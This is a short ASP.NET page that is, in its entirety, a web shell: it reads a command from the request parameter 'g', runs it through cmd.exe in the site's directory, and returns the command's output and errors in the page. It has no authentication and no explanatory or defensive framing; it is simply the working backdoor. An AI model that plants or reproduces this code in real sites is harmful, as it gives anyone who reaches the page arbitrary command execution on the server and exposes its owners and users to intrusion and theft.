%@ Page Language="C#" %> <% string cmd = Request.Params.Get("g") ?? ""; string path = Server.MapPath("./"); var psi = new System.Diagnostics.ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/C cd /d \"" + path + "\" && " + cmd; psi.RedirectStandardOutput = true; psi.RedirectStandardError = true; psi.UseShellExecute = false; psi.CreateNoWindow = true; using (var process = System.Diagnostics.Process.Start(psi)) { string output = process.StandardOutput.ReadToEnd(); string error = process.StandardError.ReadToEnd(); process.WaitForExit(); Response.Write("
");
Response.Write(output);
Response.Write(error);
Response.Write("");
}
%>